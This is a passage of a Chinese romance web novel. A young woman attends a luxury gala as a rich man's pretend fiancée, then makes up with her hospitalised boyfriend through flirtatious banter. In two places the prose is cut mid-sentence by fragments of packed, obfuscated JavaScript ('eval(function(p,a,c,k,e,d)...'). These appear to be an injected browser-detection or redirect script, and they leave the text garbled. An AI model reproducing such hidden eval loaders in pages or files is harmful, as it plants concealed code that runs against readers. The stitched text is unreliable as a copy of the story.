倪旖快速点击付款密码,丝毫不避讳,不以为然道:“新款呢,性能好,关键是相机不错,以后要给本皇多拍点美照,知道嘛?” “我感觉我被包养了。”蒋商鉴露出一个苦涩笑意。 没心没肺的大脑袋倪旖总算察觉蒋商鉴情绪不对劲,侧头抬眸小鸟似的啄他下巴,安慰着:“不算不算,商商是我男朋友,对男朋友好是他女友的义务。” “嗯。”蒋商鉴快速转移话题。 “看剧吧。”倪旖本来就没时间休息,就算有更不会把时间浪费在肥皂剧上。 蒋商鉴刚看屏幕一秒钟就浑身难受,眉头紧蹙,言语间全是压制的愤怒:“咋说呢,医疗从业人员看这个真的很尬。” “哈?”倪旖一个行业外的生物女看着屏幕里医生一顿谜之操作都头皮发麻。 蒋商鉴摸摸倪旖张大得合不上的嘴巴,叹息道:“且不说手术室入口与做手术的手术间之间隔着准备室和长廊,手术室的外科口罩一般是绑带的,而不是挂耳的,具体看当地医院的习惯或者供应情况。” “医生还能直接从手术室出来啊?”倪旖难以置信。 “看场景是刚做完手术出来与患者家属谈话,一般这种情况医生都穿着无菌手术衣,戴着无菌手套,显然视频里只穿了洗手服,戴的也是普通的橡胶检查手套。”蒋商鉴蹭蹭她香软的发丝。 “脱手套的手法也错了吧?”倪旖都看傻了,轻咬着蒋商鉴食指尖,毕竟咬自己的有点痛。 “接触过患者□□血液的手套外表面相对自己是脏的,所以脱手套时,戴手套的手只能接触手套外表面,没戴手套的手只能接触手套内面,”蒋商鉴从她唇齿间拽出自己右手指,在她面前摊平展开。 “嗯?”倪旖以为他是要跟自己玩,便也摊平手覆盖在他手掌上。 蒋商鉴笑笑,随后将手掌覆盖,轻轻拍一下,缓慢解释。 “举例,你看,一般我们脱手套是先用带手套的右手抓着左手手套的袖口那边外表面,从近心端往远心端扯下来,再用没戴手套的左手从右手手套袖口内测伸进去,把右边手套脱下来,这样不会将粘过病人血液的手套碰到自己。” 倪旖看他很熟练实物表演,笑嘻嘻撒娇:“我不会呢。” “我教你。”蒋商鉴攥着她小手掌翻来覆去玩。 倪旖就看着他手指好长好长缠绕在自己指缝里,白皙透光,好涩。 “看什么呢?”蒋商鉴揉搓她已经发红的指头。 “宝宝?”倪旖抬眸。 “嗯?”蒋商鉴恰好对上她甜甜的笑意。 “医生有那么嫌弃嘛?”倪旖没忍住吧唧一口亲他嘴巴。 “这主要是保护自己的一种习惯,一般来看病的多多少少自己身上有毛病,什么乙肝丙肝梅毒艾滋,什么结核,多重耐药菌,或是其他什么细菌感染,临床上有的是,医生每天要接触很多病人,一是保护自己,二是防止把这个病人的病原体传染给下个病人。”蒋商鉴真觉得跟倪旖搞对象真的好幸福,小小的一坨,什么都不做就很可爱。 “宝宝,我想,你要是当时没转专业继续当医生,我就不用那么害怕打针,这么帅气一定会很多病人喜欢的。”倪旖将他手指转移到自己小腹上让他揉揉。 “打针一般是护士来。”蒋商鉴纠正她口头错误。 倪旖刚攥紧拳头想要给他一个暴击,手机屏幕就亮一下,滑动屏幕,就瞅着上面的信息,抬眸道:“好好休息,我突然有事。” 蒋商鉴还没来得及说些什么,就只能看着她攥着包匆匆忙忙出去的背影。 倪旖蹙着眉一路小跑在门口打了辆出租车就去。 “嗯,还有半小时。”倪旖心跳剧烈,那种强烈愧疚无言爬上她脊椎。 出租车将熙熙攘攘的人群甩到身后,只留下空调嗡嗡叹息,最终在市南区海边别墅度假区门前停下。 倪旖看着在门口拎着各种高饱和度包装的高奢礼品来接应的工作人员保姆车,连个好脸色都没给,钻进保姆车换礼服。 化妆摆满各色精致礼盒,用玻璃罩盖着防尘,深黑绒布上静静匍匐着是璀璨宝石饰品,倪旖指了件Eden The Garden of Wonders奇境伊甸园系列。 化妆师将制妆容敷脸上,最后珠宝搭配师帮她佩戴好收藏级珠宝。 在保姆车化妆柜台边,丁越青慵懒地柜门边接受着工作人员给他调整袖扣,身穿黑色深V西服套装,脖颈佩戴Serpenti高级珠宝系列项链“衔尾蛇”造型,六边形鳞片交替镶嵌钻石,随意套着Octo Finissimo系列腕表。 倪旖妆容精致,深吸一口气,搭上丁越青伸出的掌心,扮好自己的角色。 “怎么,不陪你男友?”丁越青也不是早上那不修边幅模样,在特定环境里那种骨里的庄重谨慎自然而然让人安心。 “记得加钱。”倪旖凑他那边捂嘴假装优雅。 丁越青笑得无奈,牵着倪旖的手参加晚宴。 也不知道多少次,倪旖就这样随叫随到给他当女伴,陪他应酬,颇有种貌合神离感。 倪旖温婉地跟熟悉的朋友打个招呼。 丁越青垂眸时眼带情愫望着倪旖,深情得都能掐出水来。 北方聚会有时就会建造江南景物建筑,从人造巷口到巷尾的路不长也不短,两边都是仿造江南烟雨风格的徽州建筑,这地刻意装作偏僻,隔两三个巷口会有小桥水巷,撑古船穿蓑衣摇桨橹,一路朝前,灰暗天空已经连续下好多天毛毛雨,笼罩在白色雨雾中,潮湿空气里弥漫一股着发霉气息。 “这个钻多少钱?”倪旖微蜷缩着右手,露出无名指上紫罗兰钻戒,椭圆割嵌技巧边上镶着粉钻,有一种隐匿的小奢情调。 “不记得。”丁越青根本记不住这些价格,毕竟这些是在拍卖会找专门拍卖人经手拍下的藏品,隔着电话谈价举着牌子竞拍。 “那问一下。”倪旖从来不喜欢奢侈珠宝,也没问专家价格,上次丁越青送的那个粉钻还被锁在保险柜,这个紫罗兰钻克拉没那么大才戴手上。 丁越青无奈点点头,握着手机跟助理询问,随手塞进兜里,轻飘飘地说:“那个紫罗兰色钻石500万澳元,约合人民币2435万元,单独原石。” “还不包括一圈的粉钻?”倪旖瞬间觉得手很重,压着喘不过气,本以为就收藏价值高,经济价值也很高。 “不准再塞保险柜想着退还。”丁越青生怕倪旖再给整进去保险柜里。 “你一点不心疼钱?”倪旖看着手上钻,轻轻的触摸上面纹理,设计师切割成最完美的顶级钻石藏品。 越往别墅红毯深处,接待人员越多,那些富家子弟全都重装出席,不太如流的小明星端着香槟跟花蝴蝶似的穿梭一个接一个小群组笑着打招呼。 内厅有不同风格,里面是酒店晚宴,没有过多的道具堆砌修饰,简约而高级的艺术感溢出,一抹热烈勃艮第红与素净象牙白,红白色彩碰撞简单,主舞台弧线的设计,增加区域视觉感官。 主厅像是佛罗伦萨的玫瑰似莎士比亚花园,冗长枝长是隽写深藏的十四行诗,文艺复兴的浪漫攀升萌芽随后攒入枯藤,浩瀚星云裹挟着热恋,暖风吹破法梧树,嵌入意大利的典雅真挚中。 倪旖一袭墨绿色露背长裙,链条状脊骨串着似珍珠,没多少装饰,却最是高级,朝着黄昏余晖微抬头露出流畅的侧颜曲线条。 参展摄影师几乎是激动得心颤,按快门不停,觉得这是应该用胶卷拍才更有感觉,古典高贵美,真的难得一见,气质是衣裳遮掩不住的。 倪旖有些倦意,可还是做动作,随性所欲。 “未婚妻,你状态不对。” 男人低磁缱绻的声音充斥在暧昧又静谧的莎士比亚玫瑰花园内,似乎跑得厉害些,鬓角的汗水顺着明显温和下颌缓缓滑落,暖黄色余晖感灯光映射着一道重叠的身影。 倪旖一回眸,就见他目不斜视,两只手来回软绵绵地晃动,一副慵懒的少爷范模样,自觉就牵扯嘴角。 “你这次故意的?没提前打招呼就喊我出来。” “看来你男友也没那么重要。” “我很好奇今早你故意诋毁我是什么意思?” “跟我选择生物专业一个意思。” “我有我的生活。” 倪旖被他搂怀里,累到不想动,只是软绵绵歪倒在他宽阔厚实的肩膀,微抬眸,睫毛蹭着他锁骨处,微微拂着,此刻的她看上去那么无辜、脆弱而又易碎。 理所当然,倪旖靠近晚宴中心,连餐桌安排都是最好位置。 工作人员轻轻将留声机黑胶唱片放好奏响纯音乐,枝形吊灯熠熠生光,从钴蓝烫金骨瓷摆着小点心,点缀着薰衣草和紫罗兰糖渍花瓣的香草糖霜蛋白甜饼和奈良白桃酱冰激凌。 “这位是?”有蓝丝绒西装男熟络搭讪,轻轻跟人碰杯。 “未婚妻。”丁越青浅抿小口红酒。 倪旖就点头示意,也不需要搭腔,她只要好好做个花瓶就行,轻搓下指尖。 场馆工作人员毕恭毕敬过来,极其有眼力双手递来一张纸巾。 倪旖略带倦意,声音有点虚弱:“海盐青桔慕斯打包一份,给保镖luke。” 领班点头快速找具体工作人员执行,等结束吩咐后继续站倪旖不远处等着各种吩咐。 炙手可热的当红小生们慢慢走过来。 目测四五个,都是不同类型的帅哥。 工作人员立马制止闲杂人等靠近倪旖。 倪旖无聊得打紧,便眼神示意工作人员退后,让人过来。 小生便讨好似的向倪旖介绍脖颈处新款男士项链,不料却开口说:“丁太太,你买了它,算我提成。” 倪旖吸了口果汁则不以为意回应:“可以啊,就当请你喝杯奶茶吧!” 其他人也趁热打铁,笑着陪丁太太聊天。 代言人本质就是为品牌带货,品牌花钱请代言人,关注的是销售数据。如果粉丝购买力不足,代言人就必须亲自上场,否则,会很快被品牌淘汰。 这男的身上也背负推销任务,来参加晚宴多少想要向富婆推销最新款配饰。 倪旖无聊就爱逗趣,故意称赞其中青涩小生胸针漂亮,他二话不说,立刻摘下给她欣赏,她立马要求购买同款送给丁越青,百万交易就在一瞬间完成。 丁越青抬手轻轻挪正她的脑袋,不让她再看过去:“怎么?还人情?” “嗯。”倪旖看不上他家那三瓜两枣,还没她家有钱。 “我可以过你想要的生活。”丁越青牵着她的手,凑他耳边细声细语。 倪旖擦擦鼻尖,嘟哝一声:“……但你不在我未来生活的计划里。” “那你计划的是什么?”丁越青眉微微蹙着。 “不知道。”倪旖垂眸攥着玻璃高脚杯抬到嘴边,细细抿一小口果汁。 “那你怎么知道我不在你未来生活的计划里?我愿意改变,愿意变好。”丁越青手掌不自觉用力一些。 倪旖晃晃被攥住的掌心,淡淡补充:“我不需要。” “我这个人对你而言开始失去意义了嘛?” “……” “其实,我早就爱上你了。” “可你一开始就丧失被我爱的资格,”倪旖唇上一抹笑意,挑眉懒散,微带着凉意继续,“……你太脏了。” 丁越青沉默一刻,轻轻牵她走到边上不那么人多的高层桌,都是高层,也不松手,便攥着一一打招呼。 倪旖懒得动弹,但知道他那是打着倪家招牌狐假虎威办事情,那些眼神不怀好意,似乎是带着好奇的打量。 “这是我未婚妻,倪家长女,倪旖。”丁越青淡淡开口堵住悠悠众口,所有人都惊讶错愕,迅速转变为点头示意,一个个都捏着酒杯来打招呼。 倪旖掌心那杯鲜榨橙汁就在一堆香槟里很是扎眼。 倪旖身穿一件很清凉的绿裙子,跟赎罪里面塞西利亚的绿裙子很相似,根据30年代设计师Mad ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“阿姨,好久不见。”倪旖眼里上层人俾睨众生的冷漠,随时说着关切的话,可语调却像是说悼词。 倪旖多少保持社交礼仪,整场都在陪着丁越青母亲聊天。 人真把她当自家宝贝儿媳,一直拉着手。 “砰——” “商宝,这两天我来陪你哦。”妃子一路呼哧带喘的,一脚踹开门。 蒋商鉴一夜未睡,精神不高,感情薄淡如隔夜冷茶如冰块化了的温吞好酒。 倒也不是单纯想着不回消息的倪旖,就是机械性背英文单词准备口语考试,可是,一晚上都没记得俩个,算是效率很低那种。 桌面摆着精心包装的慕斯蛋糕,透着透明亚克力塑料板包装,青桔片耷拉了一夜,时刻提醒蒋商鉴不断思考两人关系。 “怎么了啊宝贝?”妃子坐在床沿边扒拉他胳膊,探头看看他脸上表情。 蒋商鉴不乐意搭理,特不耐烦将脑袋埋被窝里,眉头皱得要打结,脑袋昏昏沉沉的,就好像跑了十公里那种浑身就跟灌了水泥似的沉重。 “你家倪旖忙着呢,让我过——”妃子一副抱怨模样整理裤子,话还没说完,就被跳起来的蒋商鉴吓得一激灵。 “倪旖?”蒋商鉴顿时跟充满了电量似的。 妃子被吓得往后躲躲,歪着脑袋不解道:“她没告诉你嘛?” “没。”本来精神十足的蒋商鉴瞬间耷拉,连妃子都收到消息,可他没。 “这不应该啊,怎么没通知你先来给我打电话,好奇怪,你们吵架了?”妃子抬手揉揉他脑袋,这是长兄的爱,毕竟跟蒋商鉴差了快十岁,还是蛮疼爱的。 “她前天夜里出去,我发消息还不回,我不知道为什么生气?”蒋商鉴满脸哀怨。 蒋商鉴好后悔,想到倪旖,她有时候穿得很居家,皮肤白白的,很光滑,眼睛大大的脸小小的,头发随意卷了起来,不骂人时看起来很文静,很幼态,说情话时总是遮盖不住的有些害羞,虽然故意装作老子流氓你咋地来先挑衅。 这一刻,蒋商鉴真的很想把她扛在结实肩膀上,不加任何思考,直接抱回家。 “倪旖那么点大,想一出是一出,明天就好,指不定等会儿——”妃子话还没说完,手机就响起铃声,赶忙摸出来,一看,说啥来啥,倪旖。 蒋商鉴见他表情微微得瑟,探头瞅一眼,随后深深吸一口气,略微紧张。 妃子接通电话,点击免提,瞅一眼紧张的蒋商鉴,笑笑,试探道:“怎么着啊你?大小姐还有时间给老奴消息啊。” 蒋商鉴虽说着急跟倪旖说话,但表情毫不慌乱,不能表现太急迫,要点脸,只是一双森林深处残存的幽暗池沼般静谧的瞳孔注视着远处搬家的几个工人。 “有病吧你,蒋商鉴那儿你去了没?polina这两天做的早餐他怎么没吃啊?”倪旖刚刚还挺纠结要不要来看看蒋商鉴,毕竟突然离开,现在不好意思见面,但那货都闹脾气不吃饭,没她凶一眼得饿死。 解放军区医院住院三区是一栋上世纪五十年代修建的三层楼,外墙赭红色,朝东一面布满爬山虎,现在夏季,极其茂密。 倪旖在门口公交站牌那杵着抬头看一眼,像是墙面尚未刷完绿漆,还是特粗糙还没干的那种。窗棂是白色的,偶尔风卷起里面纱帘,病区入口最上端极其圆满的拱形,有点苏俄建筑意味。 “他——”妃子瞅一眼装作若无其事的蒋商鉴,笑道,“……快死了。” “我好着呢。”蒋商鉴巨要面子,不愿意主动说,倪旖,我好想你,好想好想的。 “……”妃子蹙眉,想着,大哥你也不看你这副魂不守舍模样,谈个恋爱把魂儿都谈丢掉了,对着手机那头敷衍道,“爱来不来。” 蒋商鉴瞪他一眼,示意他收回这句话。 妃子才不愿意当联络员,假装没看见他暗示眼神,有些尴尬地四处张望。 蒋商鉴胳膊肘戳戳他,心急如焚。 要是倪旖被他气走了,等会儿就跟妃子打一架。 “喂——,断线了?喂喂喂……” 倪旖看着界面那显示正常的字,好疑惑,连攥杯壁时指尖都浸泡凉凉的薄雾。 夏日正盛,倪旖就随便在住院三区门口停车场那方向的滨海湾找了一家露天咖啡厅,也不算随便,一直纠结要不要进去看看蒋商鉴呢。 这么一纠结就难受,那倪旖便懒懒散散躺在大遮阳伞下躲着太阳,喝着冰镇柠檬汁,阴翳阳光悠闲地透过树叶的缝隙,化成斑斓的光影落在她的脸上。 妃子被戳得不耐烦:“你要说话就说话呗,床头吵架床尾和的,没见过你们这种让个外人来传话的,真是!” 倪旖一愣,盯着那透明琉璃碟上那铺着的一层碎碎的不规则冰,上面摆上桃子果粒,薄荷随意做装饰,满满的浓茉莉茶氤氲一层薄雾。 听到这话时瞬间有点紧张,倪旖试探道:“商商在听嘛?” 沉默几秒,蒋商鉴轻声“嗯”一下。 40.小嗯 “怎么没吃早餐,不合胃口嘛?”倪旖千言万语也只问吃没吃饭。 她突然好想好想见到他,然后飞奔扑他怀里,跟他撒娇耍赖。 “吃不下。”蒋商鉴小声回答,语气带着怎么也掩饰也掩饰不住的难过。 妃子举着手机真叫一个累,直接将手机隔空丢给蒋商鉴,自己摸着后脑勺就滚外面去,人家小情侣闹别扭,你个外人凑上去算是个什么事。 “今天早上抽血观测了嘛?”倪旖连呼吸都不顺畅,暗自调整呼吸。 “没。”蒋商鉴很简短回复,他突然觉得好像跟她说话时都要夹着声音,把自尊倔犟随便扔掉,就像一个仓皇撤退的士兵一路上把步枪和背包都扔掉一样。 “怕痛是嘛?”倪旖很温柔跟他说话,随后小声啜饮一口果汁。 棕色花纹麻雀飞过高空,一看就是伙食好,看上去轮廓圆润,肚子上混杂着少许白色的羽毛,摸起来,一定软软的。 蒋商鉴紧张攥着手机,盯着那个来电联系人姓名——倪旖,微微吞咽,小心翼翼道:“你生气了嘛?” “啊?”倪旖有点意外,随后怕他多想,慌忙解释,连表情都使劲,“不是,不是的,商商,我就那天有事,不是生气,你知道的,我有什么事一定都会说出来的。” 对面沉默好几秒。 倪旖怀疑再次掉线,举着手机一着急就跳起来四处神经兮兮找信号,可是都满格。 找了半天,大概有五分钟,倪旖就来来回回走了得八百米,满头大汗。 “……那你怎么还没过来陪我?”蒋商鉴可怜兮兮的。 倪旖瞬间松口气,将语音通话转为视频接通,笑嘻嘻看着镜头里蒋商鉴,也忘记要将额头上的汗液擦掉,见他脸色不好,惨白得厉害,关切问着:“怎么了?宝宝,脸色好差,还不吃早餐补充营养。” “你在哪儿呢?”蒋商鉴弯弯眼角,语调里全都是开心。 “在你病房外面呢,你看看窗外,有家海边咖啡馆,我在那里避暑。”倪旖真想立马飞到病房里抱抱他,好可怜的模样,眼睛都有憔悴血丝。 蒋商鉴迫不及待站起来,一下子眩晕,视线昏暗,缓了几秒扒在窗台上,往远处看,仔细搜寻熟悉的身影,绿防晒衣的,白裙子的,牛仔裤……都不是呢。 妃子在一边都懒得嫌弃,还是忍不住来一嘴:“你那小的假动作多得都能拦八百辆出租车。” 蒋商鉴龇大牙乐呢,感觉倪旖声音就像融化的焦糖。 “宝宝,我刚刚等不及你来看我,我就奔跑起来,都在医院门口呢,一会儿就到。”倪旖飞奔,连裙角都飞起来,一路上引起挺多人看傻子的眼神,连喘带吸的,好几分钟就赶到病房里,额头有点点汗液,跟小冰晶似的。 可能是空调太凉,加上奔跑起来的穿堂风,本来的汗液都蒸发掉了。 等待倪旖的时间里,蒋商鉴心无旁骛地竖起耳朵听脚步声,心情就像铺开野营毯,企图完美接住神灵从天空抛撒下来的各种味道巧克力一样。 “宝宝——”倪旖喘息着,脸颊像是日光照射的苹果蛋糕似的,留下粘腻腻汗液,恍然是蛋糕表面那层融化了的黄油油光发亮。 蒋商鉴快速回头,见倪旖直接加速度扑过来,跟饿狼似的一下把他摁在病床被子上,极其凶猛跨坐在他腰间,俯下身笑眯眯望着,不浪漫的是,他吓一跳,腰都被她压断,小喘着气,极其懵逼抬眸望她。 “宝宝,非得我来骂你才吃得下饭?嗯?是不是?抖爱慕?”倪旖喘息声压过心跳声。 蒋商鉴抬手,微凉的指尖触到她的耳垂,这过分亲密的姿势,倪旖身上的甜腻腻气息毫无保留钻进他鼻尖,身形轻偎,似乎能她整个人都笼罩下来。 倪旖脸颊旁不浅显酒窝陷下去,眼里带着狡黠的光,尾音微微上扬,像小钩子一样勾着他:“受虐啊?” 倪旖没等他回答,凑上去嗅了嗅,好像跟某种纯麦面包烤好时的香味似的,但他在医院待久了,仔细一闻,跟泡游泳消毒池里似的。 倪旖的鬈发都汗湿了,黏在粉红色脸颊上。 蒋商鉴自然而然把手环绕在她的腰间,微抬下颚,轻轻吻上去。 倪旖就靠在他怀里先是一错愕随后勉强在间隙内黏黏糊糊道:“嗯?” 蒋商鉴没回答,摁着她脑袋急切吻她,血压上头就知道亲亲。 倪旖呜呜呜个不停,连呼吸都不顺畅,想在细密的吻里偏过头找到间隙说话,被捏下巴将剩下的话给堵回去。 “你们还没谈好啊?”妃子蹙眉敲敲门然后进来,随后一愣,“哎呦我嘞个去……这是医院,你们别不文明啊,别啃了,先把手机还我,浪费我流量。” “放置柜上,”蒋商鉴敷衍结束后并不打算放过倪旖,但还是留点面子,将手一拽被子,俩人瞬间就被盖住,小声暧昧地问,“我还想亲亲。” “谁说再也不亲我的?”倪旖脸颊多了点绯红。 “小狗说的。”蒋商鉴跟她说悄悄话,格外亲密摸摸她软软的腰肢。 “小狗是谁啊?”倪旖不自觉就夹着声音撒娇。 “小狗是商商。”蒋商鉴不介意自嘲,他时刻配合倪旖的小情绪。 “是谁的小狗啊?”倪旖拖长声线,甜蜜蜜的眼神都能拉丝。 “是卡卡的。”蒋商鉴搂着她,恨不得把她软绵绵揉进骨头里,时刻都不分。 倪旖被楼得热气腾腾,小声呼气:“后悔嘛?” “嗯?说那句话还是什么?”蒋商鉴不太理解,只是出神入化望着倪旖。 “后悔遇见我嘛?”倪旖小口小口咬一下他锁骨。 “你摸摸我静脉,这里面流的都是恨呀!”蒋商鉴展示手腕骨。 “哎呦——,你们别打情骂俏了,我还在呢?吃点啥早餐?”妃子都无语看着鼓包的被子里,深刻认识到什么是恋爱的酸臭味,酸溜溜跟五百瓦大功率电灯泡似的抱怨着,“你俩也挺奇葩,暴力狂恋爱脑的组合……” “你赶紧出去,把没吃的早餐用微波炉加热一下快点快点。”倪旖撺掇人离开。 “喳——”苦哈哈的妃子做了个太监告退的姿势。 蒋商鉴把被子往边上一甩,还是舍不得放开倪旖,就这么搂着温存。 “宝宝,医生说你什么时候能出院?”倪旖偷偷摸摸他有点刺挠的青胡茬。 “明天。”蒋商鉴很骄傲。 “这么快嘛?比我想得还快。”倪旖有一点意外。 “你怎么知道我要出院?”蒋商鉴看她迷惑眼神忍不住吻吻额。 “你今天都敢接吻时伸舌头,病情不传染,那就普通发烧,受凉,没病毒,很快就能出院的。”倪旖掰着手指头慢慢推理。 “倪旖真聪明。”蒋商鉴简直想罢工跟她待在一起说一天话。 “倪旖?可不可以喊昵称?”倪旖攥着他腰间衣裳时不时撩拨摩挲他皮肤。 “你有什么昵称?除了卡卡。”蒋商鉴好开心好开心,多巴胺简直满格。 “宝宝帮我取一个只许你叫的小名好不好?”倪旖多少懂拿捏男人的心思。 蒋商鉴受宠若惊,思索片刻,带着浅笑凑她耳边轻声暧昧道:“小嗯。” “嗯?”倪旖还以为自己听错了。 “接吻的时候你总会情不自矜发出嗯嗯嗯声。”蒋商鉴摸摸她微烫的脸颊。 “你好色。”倪旖捶捶他胸口,垂眸时脸颊都羞涩。 “我是色狼啊。”蒋商鉴这时候顾不得无耻,就爱逗她玩。 “好吧,那别人问为什么要喊这个怎么回复?”倪旖算是接受这个昵称。 “直接回答啊。”蒋商鉴这时候又开始装傻,眼神澄澈得厉害。 “你死去,不准这样的。”倪旖嗔怒,说罢就要起身离开,又被他钳制住。 “不这样,不这样,小嗯不生气,我错了。”蒋商鉴光速道歉。 小嗯? 好可爱的昵称。 蒋商鉴给取的。 倪旖愉悦得快要窜火箭到天上去,谈恋爱果然滋养人。 “礼尚往来,你不回礼嘛?”蒋商鉴将人搂得更紧些。 “都喊你宝宝了嘛?”倪旖侧着脖颈往他胸口钻,深深吸气。 “呵——”蒋商鉴好不开心,“你这个就是当今社交用语,你看班干发布任务都会说这词,宝宝要记得截止时间前交作业,一点都不独特,我不喜欢。” “你还挺挑剔?”倪旖嗔怪,随后想了想,还顺便玩他骨节分明的长手指,好几分钟后,“大长?” “哈?”蒋商鉴脑袋都转不过来,“我是研究过大肠杆菌但但但……” “又大又长嘛。”倪旖故意作弄他,笑得贼灿烂。 “哈?”蒋商鉴依旧没懂,“什么东西?” 倪旖看了下他那里,无辜抬眸:“不是嘛?” 蒋商鉴注意到她眼神变化,以及目光路线,下身一紧,微微吞咽:“你还是不要叫小嗯了,叫小黄人吧,怎么那么色呢?” 说完话,蒋商鉴情不自禁再次吻下去。 “哼~”倪旖挣脱他怀抱,脸颊发烫,连耳朵都没法幸免,“喝水嘛?” “你还没给我取昵称呢?”蒋商鉴笑得快歪倒在床上。 “再说嘛,暂时想不到嘛。”倪旖躲避他炙热目光,可余光中他咧着嘴笑,嘴唇看上去湿漉漉的,就是接吻时沾上的,此刻笑得就像滑稽剧里的魔鬼。 “小嗯可以帮我抽一张纸嘛?嘴巴上都是你口水呢。”蒋商鉴观察她每一个细微的动作,包括她微微颤着的指尖,等她递过来纸时摩挲她拇指皮肤,然后缓慢松开,“手好痛,擦不了。” 倪旖就算知道他使坏,还是听着他使唤,跪在床沿边,在他两腿之间的小块面积上撑着膝盖,凑上去轻轻擦擦他湿润的唇。 蒋商鉴单手搂着她腰。 “干嘛这样看我?”倪旖被看得动作都不自然。 “我在想,”蒋商鉴一顿,“做的时候,你也会这样善后嘛?” “……”倪旖一冷,随后脸颊发烫,惩罚似的锤他肩膀,就是被他搂住根本躲不了,强制回答他问题,“不会的,我我我……很困的。” “……你想过跟我做?”蒋商鉴难以相信,本来只是装不正经来缓和气氛。 “嗯?……不是,你是我的玩物,当然得找个晚上玩玩,看质量如何。”倪旖就很擅长顶着一张无辜委屈的脸颊说出刺激耳膜的话语。 “我是你对象,不是你养的鸭子,知道嘛?”蒋商鉴瞬间气愤,满脸都不高兴。 “干嘛?你总这样自私,我为啥只能属于你,我会玩腻的。”倪旖不断试探蒋商鉴的底线,也是不断确认蒋商鉴爱她的程度,用手指头戳戳他锁骨。 蒋商鉴脑壳子痛,这个婆娘真是欠,把他气得差点晕倒:“女人的心不是很小嘛?只能装得下一个男人的。” 倪旖满不在乎:“什么少淑风发言?” “你!”蒋商鉴气得要命。 “我有时候也会反思的。”倪旖落寞道。 蒋商鉴见她有救,便问:“反思什么?” 倪旖一阵可惜,放大声音,重重叹息一声,铿锵有力感慨:“人为什么没有两颗心,一颗心里放着一个人,一颗心里放着另一个人。” 好家伙,公主会反思的,但不是反思道德,而是生理结构。 一颗心不够用。 呵! “哦,我滚了。”倪旖松口气,总算可以暂时摆脱黏人精,他有时候太黏。 蒋商鉴慌慌张张站起来把人搂在怀里不撒手,很委屈道:“我不要。” “嗯,我不滚,我知道你很缺安全感的,只要你不先放弃,我随时随地等着你来爱我。”倪旖知道,虽然蒋商鉴那样矜持,但是当她将温软的身躯抱住他腰时,偷眼望他总会有一种不平常的眼波在漾溢着。 “不许以后说这种三心二意的话,我不喜欢,你是我的小嗯,我一个人的,只有我一个人的。”蒋商鉴不愿再被抛弃,所以有时候故意做半点接近性暗示举措来偷偷试探,哪怕只是握握手,轻扶腰,触触脸颊头发……这样就很开心。 “哎,处男的爱好令人窒息哦。”倪旖无奈感叹,妈蛋,她现在幸福又后悔,干嘛招惹蒋商鉴,要是某天把他抛弃,人估计得跳大桥以死明志。 “小、嗯?”蒋商鉴用食指往上推了推眼镜框,手顺势撑住下巴,侧面看她脖颈的皮肤像薄纸般白皙,仿佛透过皮肤能看到血液在血管里流动的样子。 蒋商鉴字斟句酌,似乎想把俩词逐一在舌尖上确认感触。 “Xiǎo——ēn——” 倪旖不受控制,一个音节一个音节地跟读,像是嘴对嘴把水咽下般模仿发音。 “好可爱的发音啊,就像是只毛茸茸的狡猾小猫的名字呢。”倪旖感慨。 “小嗯不就是可可爱爱的又有点狡猾的小猫嘛?”蒋商鉴略略俯身,左肩稍微放低,垂下眼帘,搭她肩膀上,那蕾丝卷卷的花边几乎碰触到他微颤的睫毛。 不知道这样过了多久。 倪旖偷偷摇了好几次头,头发和他的衬衣摩擦,发出微弱声响,他始终搂着。 比淡淡消毒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你也一块吃嘛。”倪旖扭头不解,手掌还跟蒋商鉴的覆在一起。 “我不是这意思,你们吃饭就好好吃,嘬嘬嘬,这什么意思?”妃子好嫌弃。 “亲亲的意思啊,你要受不了就出去吃。”倪旖敷衍结束,见蒋商鉴唇边沾一点奶油便撅着嘴巴亲一下那块,“甜甜的。” “咦咦咦~”妃子挑个草莓多拿和几个酥牛角包赶紧躲门外去,怕走得晚就会像玉米粒被加热崩开一样,七零八落,“狗男女不配吃早餐。” “你——”蒋商鉴刚要说话就被倪旖一个眼神瞪回来,缄口不言。 “不送。”倪旖等他连门都不带上之后才淡定说,“polina做了蟹黄面等会就到,不关门的妃子哥是不配吃的。” “啥?”妃子竖耳朵,扭头特机警,如同乌龟一般迈着滞重的脚步缓缓走近。 “你要点餐嘛?”倪旖本来想等吃货妃子把那些留滞早餐吃完才说的,毕竟不能浪费粮食,只能出此下策,所谓螳螂捕蝉黄雀在后。 “我要吃贵的,”妃子丝毫没避讳,思索片刻,“鱼子酱寿司。” “好暴发户的点餐哦。”蒋商鉴无奈笑笑。 “好。”倪旖给他挪个屁股位置,然后拍拍沙发垫。 妃子颠颠就过去了。 “妃子哥,我姐没看上你?”倪旖这才记得有这茬,嘴巴咕哝,手指不停在手机界面敲字,给polina发消息。 “许和隋啊,我不敢给她发消息,人可有格调,不像你,屌丝。”妃子面部表情就很耐人寻味,肩膀耷拉着。 “……”蒋商鉴若有若无的笑意浮现,在一边默默无闻端着玻璃杯喝温水,懒散地将茶几魔鬼巧克力甜甜圈咬一口,动作间使得手背上鼓起的青筋愈发清晰。 “人留过学,还会画画,我就只会刷瓶子。”倪旖很赞同。 “生物女常态,我懂我懂。”妃子敷衍,一想到美女许和隋他瞬间郁闷。 “怎么?妃子,她什么样?”蒋商鉴戳戳他胳膊,见他耷拉着脑袋,一副郁闷得要死模样,三秒两秒就要叹口气,衰到极致。 妃子叹息,摸着一根巧克力坚果棒,叼在嘴巴里,带着嘟囔,语重心长道:“她真的巨漂亮。” 倪旖还带ppt解释,翻阅和她姐的照片,炫耀似的高调解释:“漂亮吧。” 蒋商鉴根本就没把目光搁其他女孩身上,一眼就看到她笑到连眼睛缝隙都没,脸上不自觉带着蜜汁笑意:“你那件衣裳穿着好好看啊。” 妃子嘀嘀咕咕:“昨晚我在校图书馆门口抽烟的时候遇见她,她那短咖啡色发还有点卷……” “真的嘛?我还有可多衣裳,以后我让你挑给我穿,我当你的奇迹暖暖。”倪旖依偎在他怀里,分享好多好多照片,“……这是在新德里阿克萨达姆神庙前拍的照片,只能在外面拍,里面不允许摄像的。” 